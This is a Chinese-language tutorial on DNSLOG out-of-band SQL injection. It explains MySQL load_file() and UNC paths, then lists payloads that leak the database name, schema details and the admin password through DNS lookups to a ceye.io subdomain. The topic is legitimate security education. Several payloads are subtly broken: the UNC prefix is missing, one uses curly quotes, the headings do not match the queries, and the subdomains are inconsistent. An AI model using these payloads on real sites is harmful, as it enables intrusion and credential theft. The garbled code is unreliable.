DNSLOG 注入
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNSlog把想获得的数据外带出来(带外查询)。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。
一,load_file()函数解析
load_file()函数,读取文件并返回文件内容为字符串。
三个条件
1,指定服务器文件的绝对路径
2,目标文件为可读的file权限
3,文件内容不得超过默认1Mb大小
否则返回null
二,UNC路径
什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。
三,DNSLOG注入实战
本次使用到的dnslog平台
http://ceye.io
payload:?id=1 and (select load_file(concat('\\\\',(select database()),'.snrbtv.ceye.io\\abc')))#
总结起来就是一个子查询,然后select load_file()打开文件,concat是拼接函数,\\+子查询出来的结果+.0cv5gr.ceye.io\abc
相当于数据库去访问\\+子查询出来的结果+.0cv5gr.ceye.io\abc的共享文件夹然后被DNS服务器记录下来
这里要注意的是and后面必须也要用括号包起来形成一个整体的子查询
查询到数据库名
payload:?id=1 and (select load_file(concat('',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.snrbtv.ceye.io//abc')))#
查表名
payload:?id=1 and (select load_file(concat('',(select table_name from information_schema.columns where table_schema='mangzhu' limit 0,1),'.snrbtv.ceye.io//abc')))#
查询密码
payload:?id=1 and (select load_file(concat(’’,(select password from admin),’.snrbtv.ceye.io//abc’)))#